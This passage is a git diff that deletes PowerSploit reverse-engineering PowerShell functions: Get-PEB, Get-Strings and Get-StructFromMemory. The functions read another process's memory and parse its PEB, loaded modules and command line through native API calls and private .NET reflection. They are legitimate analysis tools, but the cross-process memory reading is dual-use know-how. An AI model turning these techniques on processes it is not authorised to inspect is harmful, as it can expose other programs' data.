Byte[]($StructSize) - [Runtime.InteropServices.Marshal]::Copy($ZeroBytes, 0, $LocalStructPtr, $StructSize) - - $BytesRead = [UInt32] 0 - - if ($NativeUtils::ReadProcessMemory($Handle, $MemoryAddress, $LocalStructPtr, $StructSize, [Ref] $BytesRead)) - { - $SafeHandle.Close() - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - Write-Error ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - return - } - - $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $StructType) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - $SafeHandle.Close() - - Write-Output $ParsedStruct - } - } - } - - PROCESS - { - foreach ($ProcessId in $Id) - { - $Handle = $null - - try - { - $Process = Get-Process -Id $ProcessId -ErrorVariable GetProcessError - # Get the process handle - $Handle = $Process.Handle - } - catch { } - - if ($Handle -eq $null) - { - Write-Error "Unable to obtain a handle for PID $ProcessId. You will likely need to run this script elevated." - } - else - { - $SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ)) - $Handle = $SafeHandle.DangerousGetHandle() - - Write-Verbose "ProcessName: $($Process.ProcessName)" - Write-Verbose "Handle: $Handle" - - if ($OSArchitecture -eq 64) - { - $IsWow64 = $False - $NativeUtils::IsWow64Process($Handle, [Ref] $IsWow64) | Out-Null - - if ($PowerShellArchitecture -eq 32 -and (-not $IsWow64)) - { - $SafeHandle.Close() - Write-Error 'Cannot get the PEB of a 64-bit process from a Wow64 process. Use 64-bit PowerShell and try again.' - return - } - } - - $ProcessBasicInfo = $NtProcessBasicInfoConstructor.Invoke($null) - - $Status = $NativeUtils::NtQueryInformationProcess($Handle, 0, $ProcessBasicInfo, [Runtime.InteropServices.Marshal]::SizeOf($ProcessBasicInfo), [IntPtr]::Zero) - - Write-Verbose 'ProcessBasicInfo:' - Write-Verbose ($ProcessBasicInfo | Out-String) - - if ($Status -ne 0) - { - $SafeHandle.Close() - Write-Error (Get-NTStatusException $Status) - return - } - - $SafeHandle.Close() - - $PEB = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessBasicInfo.PebBaseAddress) -StructType ($PEBStruct) - - $ProcessParams = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($PEB.ProcessParameters) -StructType ($ProcessParametersStruct) - - $CurrentDirectory = '' - $DllPath = '' - $ImagePathName = '' - $CommandLine = '' - $WindowTitle = '' - $DesktopInfo = '' - $ShellInfo = '' - $RuntimeData = '' - - if ($ProcessParams.CurrentDirectory.Buffer) { $CurrentDirectory = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.CurrentDirectory.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.CurrentDirectory.MaximumLength) } - if ($ProcessParams.DllPath.Buffer) { $DllPath = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.DllPath.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.DllPath.MaximumLength) } else { $DllPath = '' } - if ($ProcessParams.ImagePathName.Buffer) { $ImagePathName = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.ImagePathName.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.ImagePathName.MaximumLength) } - if ($ProcessParams.CommandLine.Buffer) { $CommandLine = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.CommandLine.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.CommandLine.MaximumLength) } - if ($ProcessParams.WindowTitle.Buffer) { $WindowTitle = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.WindowTitle.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.WindowTitle.MaximumLength) } - if ($ProcessParams.DesktopInfo.Buffer) { $DesktopInfo = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.DesktopInfo.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.DesktopInfo.MaximumLength) } - if ($ProcessParams.ShellInfo.Buffer) { $ShellInfo = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.ShellInfo.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.ShellInfo.MaximumLength) } - if ($ProcessParams.RuntimeData.Buffer) { $RuntimeData = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($ProcessParams.RuntimeData.Buffer) -StructType ([String]) -UnicodeStringSize ($ProcessParams.RuntimeData.MaximumLength) } - - $ProcessParameters = @{ - MaximumLength = $ProcessParams.MaximumLength - Length = $ProcessParams.Length - Flags = $ProcessParams.Flags - DebugFlags = $ProcessParams.DebugFlags - ConsoleHandle = $ProcessParams.ConsoleHandle - ConsoleFlags = $ProcessParams.ConsoleFlags - StandardInput = $ProcessParams.StandardInput - StandardOutput = $ProcessParams.StandardOutput - StandardError = $ProcessParams.StandardError - CurrentDirectory = $CurrentDirectory - DllPath = $DllPath - ImagePathName = $ImagePathName - CommandLine = $CommandLine - Environment = $ProcessParams.Environment - StartingX = $ProcessParams.StartingX - StartingY = $ProcessParams.StartingY - CountX = $ProcessParams.CountX - CountY = $ProcessParams.CountY - CountCharsX = $ProcessParams.CountCharsX - CountCharsY = $ProcessParams.CountCharsY - FillAttribute = $ProcessParams.FillAttribute - WindowFlags = $ProcessParams.WindowFlags - ShowWindowFlags = $ProcessParams.ShowWindowFlags - WindowTitle = $WindowTitle - DesktopInfo = $DesktopInfo - ShellInfo = $ShellInfo - RuntimeData = $RuntimeData - } - - $ProcessParamsParsed = New-Object PSObject -Property $ProcessParameters - $ProcessParamsParsed.PSObject.TypeNames[0] = 'PEB.ProcessParameters' - - # Get custom objects for the PEB based upon OS version - # First, build up the custom object with fields common amongst all versions of the PEB - $CustomPEB = @{ - ProcessName = $Process.ProcessName - ProcessId = $ProcessId - InheritedAddressSpace = if($PEB.InheritedAddressSpace -eq 0){$False}else{$True} - ReadImageFileExecOptions = if($PEB.ReadImageFileExecOptions -eq 0){$False}else{$True} - BeingDebugged = if($PEB.BeingDebugged -eq 0){$False}else{$True} - Mutant = $PEB.Mutant - ImageBaseAddress = $PEB.ImageBaseAddress - Ldr = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($PEB.Ldr) -StructType ($LdrDataStruct) - ProcessParameters = $ProcessParamsParsed - SubSystemData = $PEB.SubSystemData - ProcessHeap = $PEB.ProcessHeap - FastPebLock = $PEB.FastPebLock - SystemReserved = $PEB.SystemReserved - AtlThunkSListPtr32 = $PEB.AtlThunkSListPtr32 - ApiSetMap = $PEB.ApiSetMap - TlsExpansionCounter = $PEB.TlsExpansionCounter - TlsBitmap = $PEB.TlsBitmap - TlsBitmapBits = $PEB.TlsBitmapBits - ReadOnlySharedMemoryBase = $PEB.ReadOnlySharedMemoryBase - ReadOnlyStaticServerData = $PEB.ReadOnlyStaticServerData - AnsiCodePageData = $PEB.AnsiCodePageData - OemCodePageData = $PEB.OemCodePageData - UnicodeCaseTableData = $PEB.UnicodeCaseTableData - NumberOfProcessors = $PEB.NumberOfProcessors - NtGlobalFlag = $PEB.NtGlobalFlag - CriticalSectionTimeout = $PEB.CriticalSectionTimeout - HeapSegmentReserve = $PEB.HeapSegmentReserve - HeapSegmentCommit = $PEB.HeapSegmentCommit - HeapDeCommitTotalFreeThreshold = $PEB.HeapDeCommitTotalFreeThreshold - HeapDeCommitFreeBlockThreshold = $PEB.HeapDeCommitFreeBlockThreshold - NumberOfHeaps = $PEB.NumberOfHeaps - MaximumNumberOfHeaps = $PEB.MaximumNumberOfHeaps - ProcessHeaps = $PEB.ProcessHeaps - GdiSharedHandleTable = $PEB.GdiSharedHandleTable - ProcessStarterHelper = $PEB.ProcessStarterHelper - GdiDCAttributeList = $PEB.GdiDCAttributeList - LoaderLock = $PEB.LoaderLock - OSMajorVersion = $PEB.OSMajorVersion - OSMinorVersion = $PEB.OSMinorVersion - OSBuildNumber = $PEB.OSBuildNumber - OSCSDVersion = $PEB.OSCSDVersion - OSPlatformId = $PEB.OSPlatformId - ImageSubsystem = $PEB.ImageSubsystem - ImageSubsystemMajorVersion = $PEB.ImageSubsystemMajorVersion - ImageSubsystemMinorVersion = $PEB.ImageSubsystemMinorVersion - ActiveProcessAffinityMask = $PEB.ActiveProcessAffinityMask - GdiHandleBuffer = $PEB.GdiHandleBuffer - PostProcessInitRoutine = $PEB.PostProcessInitRoutine - TlsExpansionBitmap = $PEB.TlsExpansionBitmap - TlsExpansionBitmapBits = $PEB.TlsExpansionBitmapBits - SessionId = $PEB.SessionId - AppCompatFlags = $PEB.AppCompatFlags - AppCompatFlagsUser = $PEB.AppCompatFlagsUser - pShimData = $PEB.pShimData - AppCompatInfo = $PEB.AppCompatInfo - CSDVersion = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($PEB.CSDVersion.Buffer) -StructType ([String]) -UnicodeStringSize ($PEB.CSDVersion.MaximumLength) - ActivationContextData = $PEB.ActivationContextData - ProcessAssemblyStorageMap = $PEB.ProcessAssemblyStorageMap - SystemDefaultActivationContextData = $PEB.SystemDefaultActivationContextData - SystemAssemblyStorageMap = $PEB.SystemAssemblyStorageMap - MinimumStackCommit = $PEB.MinimumStackCommit - } - - foreach ($j in 1..3) - { - switch ($j) - { - 1 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($CustomPEB['Ldr'].InLoadOrderModuleList.Flink) -StructType ($LdrModuleStruct) -LoadOrder 'InLoadOrderModuleList' } - 2 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ([IntPtr] ($CustomPEB['Ldr'].InMemoryOrderModuleList.Flink.ToInt64() - [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct))) -StructType ($LdrModuleStruct) -LoadOrder 'InMemoryOrderModuleList' } - 3 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ([IntPtr] ($CustomPEB['Ldr'].InInitializationOrderModuleList.Flink.ToInt64() - (2 * [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct)))) -StructType ($LdrModuleStruct) -LoadOrder 'InInitializationOrderModuleList' } - } - - $ParsedOrderedModules = New-Object Hashtable[]($OrderedModules.Length) - $Modules = New-Object PSObject[]($OrderedModules.Length) - - $i = 0 - foreach ($Module in $OrderedModules) - { - $ParsedOrderedModules[$i] = @{ - InLoadOrderModuleList = $Module.InLoadOrderModuleList - InMemoryOrderModuleList = $Module.InMemoryOrderModuleList - InInitializationOrderModuleList = $Module.InInitializationOrderModuleList - BaseAddress = $Module.BaseAddress - EntryPoint = $Module.EntryPoint - SizeOfImage = $Module.SizeOfImage - FullDllName = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($Module.FullDllName.Buffer) -StructType ([String]) -UnicodeStringSize ($Module.FullDllName.MaximumLength) - BaseDllName = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($Module.BaseDllName.Buffer) -StructType ([String]) -UnicodeStringSize ($Module.BaseDllName.MaximumLength) - PackagedBinary = if(($Module.Flags -band 1) -eq 0){$False}else{$True} - MarkedForRemoval = if(($Module.Flags -band 2) -eq 0){$False}else{$True} - ImageDll = if(($Module.Flags -band 4) -eq 0){$False}else{$True} - LoadNotificationsSent = if(($Module.Flags -band 8) -eq 0){$False}else{$True} - TelemetryEntryProcessed = if(($Module.Flags -band 16) -eq 0){$False}else{$True} - ProcessStaticImport = if(($Module.Flags -band 32) -eq 0){$False}else{$True} - InLegacyLists = if(($Module.Flags -band 64) -eq 0){$False}else{$True} - InIndexes = if(($Module.Flags -band 128) -eq 0){$False}else{$True} - ShimDll = if(($Module.Flags -band 256) -eq 0){$False}else{$True} - InExceptionTable = if(($Module.Flags -band 512) -eq 0){$False}else{$True} - LoadInProgress = if(($Module.Flags -band 4096) -eq 0){$False}else{$True} - EntryProcessed = if(($Module.Flags -band 16384) -eq 0){$False}else{$True} - DontCallForThreads = if(($Module.Flags -band 262144) -eq 0){$False}else{$True} - ProcessAttachCalled = if(($Module.Flags -band 524288) -eq 0){$False}else{$True} - ProcessAttachFailed = if(($Module.Flags -band 1048576) -eq 0){$False}else{$True} - CorDeferredValidate = if(($Module.Flags -band 2097152) -eq 0){$False}else{$True} - CorImage = if(($Module.Flags -band 4194304) -eq 0){$False}else{$True} - DontRelocate = if(($Module.Flags -band 8388608) -eq 0){$False}else{$True} - CorILOnly = if(($Module.Flags -band 16777216) -eq 0){$False}else{$True} - Redirected = if(($Module.Flags -band 268435456) -eq 0){$False}else{$True} - CompatDatabaseProcessed = if(($Module.Flags -band 2147483648) -eq 0){$False}else{$True} - ObsoleteLoadCount = $Module.ObsoleteLoadCount - TlsIndex = $Module.TlsIndex - HashLinks = $Module.HashLinks - TimeDateStamp = (New-Object DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds($Module.TimeDateStamp) - EntryPointActivationContext = $Module.EntryPointActivationContext - PatchInformation = $Module.PatchInformation - DdagNode = $Module.DdagNode - NodeModuleLink = $Module.NodeModuleLink - SnapContext = $Module.SnapContext - ParentDllBase = $Module.ParentDllBase - SwitchBackContext = $Module.SwitchBackContext - BaseAddressIndexNode = $Module.BaseAddressIndexNode - MappingInfoIndexNode = $Module.MappingInfoIndexNode - OriginalBase = $Module.OriginalBase - LoadTime = $Module.LoadTime - BaseNameHashValue = $Module.BaseNameHashValue - LoadReason = $Module.LoadReason - } - - $CustomModuleObject = New-Object PSObject -Property $ParsedOrderedModules[$i] - $CustomModuleObject.PSObject.TypeNames[0] = 'PEB.ModuleEntry' - $Modules[$i] = $CustomModuleObject - - $i++ - } - - switch ($j) - { - 1 { $CustomPEB['InLoadOrderModuleList'] = $Modules } - 2 { $CustomPEB['InMemoryOrderModuleList'] = $Modules } - 3 { $CustomPEB['InInitializationOrderModuleList'] = $Modules } - } - } - - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $CustomPEB['ImageUsesLargePages'] = if(($PEB.BitField -band 1) -eq 0){$False}else{$True} - $CustomPEB['IsProtectedProcess'] = if(($PEB.BitField -band 2) -eq 0){$False}else{$True} - $CustomPEB['IsLegacyProcess'] = if(($PEB.BitField -band 4) -eq 0){$False}else{$True} - $CustomPEB['IsImageDynamicallyRelocated'] = if(($PEB.BitField -band 8) -eq 0){$False}else{$True} - $CustomPEB['SkipPatchingUser32Forwarders'] = if(($PEB.BitField -band 16) -eq 0){$False}else{$True} - $CustomPEB['IsPackagedProcess'] = if(($PEB.BitField -band 32) -eq 0){$False}else{$True} - $CustomPEB['IsAppContainer'] = if(($PEB.BitField -band 64) -eq 0){$False}else{$True} - $CustomPEB['AtlThunkSListPtr'] = $PEB.AtlThunkSListPtr - $CustomPEB['IFEOKey'] = $PEB.IFEOKey - $CustomPEB['ProcessInJob'] = if(($PEB.CrossProcessFlags -band 1) -eq 0){$False}else{$True} - $CustomPEB['ProcessInitializing'] = if(($PEB.CrossProcessFlags -band 2) -eq 0){$False}else{$True} - $CustomPEB['ProcessUsingVEH'] = if(($PEB.CrossProcessFlags -band 4) -eq 0){$False}else{$True} - $CustomPEB['ProcessUsingVCH'] = if(($PEB.CrossProcessFlags -band 8) -eq 0){$False}else{$True} - $CustomPEB['ProcessUsingFTH'] = if(($PEB.CrossProcessFlags -band 16) -eq 0){$False}else{$True} - $CustomPEB['KernelCallbackTable'] = $PEB.KernelCallbackTable - $CustomPEB['HotpatchInformation'] = $PEB.HotpatchInformation - $CustomPEB['FlsCallback'] = $PEB.FlsCallback - $CustomPEB['FlsListHead'] = $PEB.FlsListHead - $CustomPEB['FlsBitmap'] = $PEB.FlsBitmap - $CustomPEB['FlsBitmapBits'] = $PEB.FlsBitmapBits - $CustomPEB['FlsHighIndex'] = $PEB.FlsHighIndex - $CustomPEB['WerRegistrationData'] = $PEB.WerRegistrationData - $CustomPEB['WerShipAssertPtr'] = $PEB.WerShipAssertPtr - $CustomPEB['pUnused'] = $PEB.pUnused - $CustomPEB['pImageHeaderHash'] = $PEB.pImageHeaderHash - $CustomPEB['HeapTracingEnabled'] = if(($PEB.TracingFlags -band 1) -eq 0){$False}else{$True} - $CustomPEB['CritSecTracingEnabled'] = if(($PEB.TracingFlags -band 2) -eq 0){$False}else{$True} - $CustomPEB['LibLoaderTracingEnabled'] = if(($PEB.TracingFlags -band 4) -eq 0){$False}else{$True} - $CustomPEB['CsrServerReadOnlySharedMemoryBase'] = $PEB.CsrServerReadOnlySharedMemoryBase - } - elseif ($NTDDI_VERSION -ge $NTDDI_WS03) - { - $CustomPEB['ImageUsesLargePages'] = if(($PEB.BitField -band 1) -eq 0){$False}else{$True} - $CustomPEB['AtlThunkSListPtr'] = $PEB.AtlThunkSListPtr - $CustomPEB['SparePtr2'] = $PEB.SparePtr2 - $CustomPEB['EnvironmentUpdateCount'] = $PEB.EnvironmentUpdateCount - $CustomPEB['KernelCallbackTable'] = $PEB.KernelCallbackTable - $CustomPEB['ReadOnlySharedMemoryHeap'] = $PEB.ReadOnlySharedMemoryHeap - $CustomPEB['FlsCallback'] = $PEB.FlsCallback - $CustomPEB['FlsListHead'] = $PEB.FlsListHead - $CustomPEB['FlsBitmap'] = $PEB.FlsBitmap - $CustomPEB['FlsBitmapBits'] = $PEB.FlsBitmapBits - $CustomPEB['FlsHighIndex'] = $PEB.FlsHighIndex - } - else - { - $CustomPEB['FastPebLockRoutine'] = $PEB.FastPebLockRoutine - $CustomPEB['FastPebUnlockRoutine'] = $PEB.FastPebUnlockRoutine - $CustomPEB['EnvironmentUpdateCount'] = $PEB.EnvironmentUpdateCount - $CustomPEB['KernelCallbackTable'] = $PEB.KernelCallbackTable - $CustomPEB['ReadOnlySharedMemoryHeap'] = $PEB.ReadOnlySharedMemoryHeap - } - - $NewPEB = New-Object PSObject -Property $CustomPEB - - # _PEB will be interpreted by PowerShell depending upon the detected OS. This only applies if Get-PEB.format.ps1xml was loaded - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $NewPEB.PSObject.TypeNames[0] = 'PEB.Vista' - } - elseif ($NTDDI_VERSION -ge $NTDDI_WS03) - { - $NewPEB.PSObject.TypeNames[0] = 'PEB.Server2003' - } - else - { - $NewPEB.PSObject.TypeNames[0] = 'PEB.XP' - } - - $Handle = $null - - Write-Output $NewPEB - } - } - } - - END{} - -} \ No newline at end of file diff --git a/ReverseEngineering/Get-Strings.ps1 b/ReverseEngineering/Get-Strings.ps1 deleted file mode 100644 index 7acb9f1e..00000000 --- a/ReverseEngineering/Get-Strings.ps1 +++ /dev/null @@ -1,98 +0,0 @@ -function Get-Strings -{ -<# -.SYNOPSIS - -Gets strings from a file. - -PowerSploit Function: Get-Strings -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The Get-Strings cmdlet returns strings (Unicode and/or Ascii) from a file. This cmdlet is useful for dumping strings from binary file and was designed to replicate the functionality of strings.exe from Sysinternals. - -.PARAMETER Path - -Specifies the path to an item. - -.PARAMETER Encoding - -Specifies the file encoding. The default value returns both Unicode and Ascii. - -.PARAMETER MinimumLength - -Specifies the minimum length string to return. The default string length is 3. - -.EXAMPLE - -C:\PS> Get-Strings C:\Windows\System32\calc.exe - -Description ------------ -Dump Unicode and Ascii strings of calc.exe. - -.EXAMPLE - -C:\PS> Get-ChildItem C:\Windows\System32\*.dll | Get-Strings -MinimumLength 12 -Encoding Ascii - -Description ------------ -Dumps Ascii strings of at least length 12 of every dll located in C:\Windows\System32. - -.NOTES - -This cmdlet was designed to intentionally use only PowerShell cmdlets (no .NET methods) in order to be compatible with PowerShell on Windows RT (or any ConstrainedLanguage runspace). - -.LINK - -http://www.exploit-monday.com -#> - - Param - ( - [Parameter(Position = 1, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [ValidateNotNullOrEmpty()] - [ValidateScript({Test-Path $_ -PathType 'Leaf'})] - [String[]] - [Alias('PSPath')] - $Path, - - [ValidateSet('Default','Ascii','Unicode')] - [String] - $Encoding = 'Default', - - [UInt32] - $MinimumLength = 3 - ) - - BEGIN - { - $FileContents = '' - } - PROCESS - { - foreach ($File in $Path) - { - if ($Encoding -eq 'Unicode' -or $Encoding -eq 'Default') - { - $UnicodeFileContents = Get-Content -Encoding 'Unicode' $File - $UnicodeRegex = [Regex] "[\u0020-\u007E]{$MinimumLength,}" - $Results += $UnicodeRegex.Matches($UnicodeFileContents) - } - - if ($Encoding -eq 'Ascii' -or $Encoding -eq 'Default') - { - $AsciiFileContents = Get-Content -Encoding 'UTF7' $File - $AsciiRegex = [Regex] "[\x20-\x7E]{$MinimumLength,}" - $Results = $AsciiRegex.Matches($AsciiFileContents) - } - - $Results | ForEach-Object { Write-Output $_.Value } - } - } - END {} -} \ No newline at end of file diff --git a/ReverseEngineering/Get-StructFromMemory.ps1 b/ReverseEngineering/Get-StructFromMemory.ps1 deleted file mode 100644 index c32c1901..00000000 --- a/ReverseEngineering/Get-StructFromMemory.ps1 +++ /dev/null @@ -1,203 +0,0 @@ -function Get-StructFromMemory -{ -<# -.SYNOPSIS - -Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type. - -PowerSploit Function: Get-StructFromMemory -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-StructFromMemory is similar to the Marshal.PtrToStructure method but will parse and return a structure from any process. - -.PARAMETER Id - -Process ID of the process whose virtual memory space you want to access. - -.PARAMETER MemoryAddress - -The address containing the structure to be parsed. - -.PARAMETER StructType - -The type (System.Type) of the desired structure to be parsed. - -.EXAMPLE - -C:\PS> Get-Process | ForEach-Object { Get-StructFromMemory -Id $_.Id -MemoryAddress $_.MainModule.BaseAddress -StructType ([PE+_IMAGE_DOS_HEADER]) } - -Description ------------ -Parses the DOS headers of every loaded process. Note: In this example, this assumes that [PE+_IMAGE_DOS_HEADER] is defined. You can get the code to define [PE+_IMAGE_DOS_HEADER] here: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - -.NOTES - -Be sure to enclose the StructType parameter with parenthesis in order to force PowerShell to cast it as a Type object. - -Get-StructFromMemory does a good job with error handling however it will crash if the structure contains fields that attempt to marshal pointers. For example, if a field has a custom attribute of UnmanagedType.LPStr, when the structure is parsed, it will attempt to dererence a string pointer for virtual memory in another process and access violate. - -.LINK - -http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True)] - [Alias('ProcessId')] - [Alias('PID')] - [UInt16] - $Id, - - [Parameter(Position = 1, Mandatory = $True)] - [IntPtr] - $MemoryAddress, - - [Parameter(Position = 2, Mandatory = $True)] - [Alias('Type')] - [Type] - $StructType - ) - - Set-StrictMode -Version 2 - - $PROCESS_VM_READ = 0x0010 # The process permissions we'l ask for when getting a handle to the process - - # Get a reference to the private GetProcessHandle method is System.Diagnostics.Process - $GetProcessHandle = [Diagnostics.Process].GetMethod('GetProcessHandle', [Reflection.BindingFlags] 'NonPublic, Instance', $null, @([Int]), $null) - - try - { - # Make sure user didn't pass in a non-existent PID - $Process = Get-Process -Id $Id -ErrorVariable GetProcessError - # Get the default process handle - $Handle = $Process.Handle - } - catch [Exception] - { - throw $GetProcessError - } - - if ($Handle -eq $null) - { - throw "Unable to obtain a handle for PID $Id. You will likely need to run this script elevated." - } - - # Get a reference to MEMORY_BASIC_INFORMATION. I don't feel like making the structure myself - $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.FullName.Split(',')[0].ToLower() -eq 'mscorlib' } - $Win32Native = $mscorlib.GetTypes() | ? { $_.FullName -eq 'Microsoft.Win32.Win32Native' } - $MEMORY_BASIC_INFORMATION = $Win32Native.GetNestedType('MEMORY_BASIC_INFORMATION', [Reflection.BindingFlags] 'NonPublic') - - if ($MEMORY_BASIC_INFORMATION -eq $null) - { - throw 'Unable to get a reference to the MEMORY_BASIC_INFORMATION structure.' - } - - # Get references to private fields in MEMORY_BASIC_INFORMATION - $ProtectField = $MEMORY_BASIC_INFORMATION.GetField('Protect', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBaseField = $MEMORY_BASIC_INFORMATION.GetField('BaseAddress', [Reflection.BindingFlags] 'NonPublic, Instance') - $RegionSizeField = $MEMORY_BASIC_INFORMATION.GetField('RegionSize', [Reflection.BindingFlags] 'NonPublic, Instance') - - try { $NativeUtils = [NativeUtils] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - # Build dynamic assembly in order to use P/Invoke for interacting with the following Win32 functions: ReadProcessMemory, VirtualQueryEx - $DynAssembly = New-Object Reflection.AssemblyName('MemHacker') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MemHacker', $False) - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('NativeUtils', $Attributes, [ValueType]) - $TypeBuilder.DefinePInvokeMethod('ReadProcessMemory', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - $TypeBuilder.DefinePInvokeMethod('VirtualQueryEx', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [UInt32], @([IntPtr], [IntPtr], $MEMORY_BASIC_INFORMATION.MakeByRefType(), [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - - $NativeUtils = $TypeBuilder.CreateType() - } - - # Request a handle to the process in interest - try - { - $SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_VM_READ)) - $Handle = $SafeHandle.DangerousGetHandle() - } - catch - { - throw $Error[0] - } - - # Create an instance of MEMORY_BASIC_INFORMATION - $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) - - # Confirm you can actually read the address you're interested in - $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type] $MEMORY_BASIC_INFORMATION)) | Out-Null - - $PAGE_EXECUTE_READ = 0x20 - $PAGE_EXECUTE_READWRITE = 0x40 - $PAGE_READONLY = 2 - $PAGE_READWRITE = 4 - - $Protection = $ProtectField.GetValue($MemoryBasicInformation) - $AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation) - $GetPointerValue = $AllocationBaseOriginal.GetType().GetMethod('GetPointerValue', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBase = $GetPointerValue.Invoke($AllocationBaseOriginal, $null).ToInt64() - $RegionSize = $RegionSizeField.GetValue($MemoryBasicInformation).ToUInt64() - - Write-Verbose "Protection: $Protection" - Write-Verbose "AllocationBase: $AllocationBase" - Write-Verbose "RegionSize: $RegionSize" - - if (($Protection -ne $PAGE_READONLY) -and ($Protection -ne $PAGE_READWRITE) -and ($Protection -ne $PAGE_EXECUTE_READ) -and ($Protection -ne $PAGE_EXECUTE_READWRITE)) - { - $SafeHandle.Close() - throw 'The address specified does not have read access.' - } - - $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type] $StructType) - $EndOfAllocation = $AllocationBase + $RegionSize - $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize - - if ($EndOfStruct -gt $EndOfAllocation) - { - $SafeHandle.Close() - throw 'You are attempting to read beyond what was allocated.' - } - - try - { - # Allocate unmanaged memory. This will be used to store the memory read from ReadProcessMemory - $LocalStructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) - } - catch [OutOfMemoryException] - { - throw Error[0] - } - - Write-Verbose "Memory allocated at 0x$($LocalStructPtr.ToString("X$([IntPtr]::Size * 2)"))" - - # Zero out the memory that was just allocated. According to MSDN documentation: - # "When AllocHGlobal calls LocalAlloc, it passes a LMEM_FIXED flag, which causes the allocated memory to be locked in place. Also, the allocated memory is not zero-filled." - # http://msdn.microsoft.com/en-us/library/s69bkh17.aspx - $ZeroBytes = New-Object Byte[]($StructSize) - [Runtime.InteropServices.Marshal]::Copy($ZeroBytes, 0, $LocalStructPtr, $StructSize) - - $BytesRead = [UInt32] 0 - - if ($NativeUtils::ReadProcessMemory($Handle, $MemoryAddress, $LocalStructPtr, $StructSize, [Ref] $BytesRead)) - { - $SafeHandle.Close() - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - throw ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - } - - Write-Verbose "Struct Size: $StructSize" - Write-Verbose "Bytes read: $BytesRead" - - $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $StructType) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - $SafeHandle.Close() - - Write-Output $ParsedStruct -} \ No newline at end of file diff --git a/ReverseEngineering/New-Object.ps1 b/ReverseEngineering/New-Object.ps1 deleted file mode 100644 index 77b24f68..00000000 Binary files a/ReverseEngineering/New-Object.ps1 and /dev/null differ diff --git a/ReverseEngineering/ProcessModuleTrace.ps1 b/ReverseEngineering/ProcessModuleTrace.ps1 deleted file mode 100644 index 3eb57a78..00000000 --- a/ReverseEngineering/ProcessModuleTrace.ps1 +++ /dev/null @@ -1,103 +0,0 @@ -function Register-ProcessModuleTrace 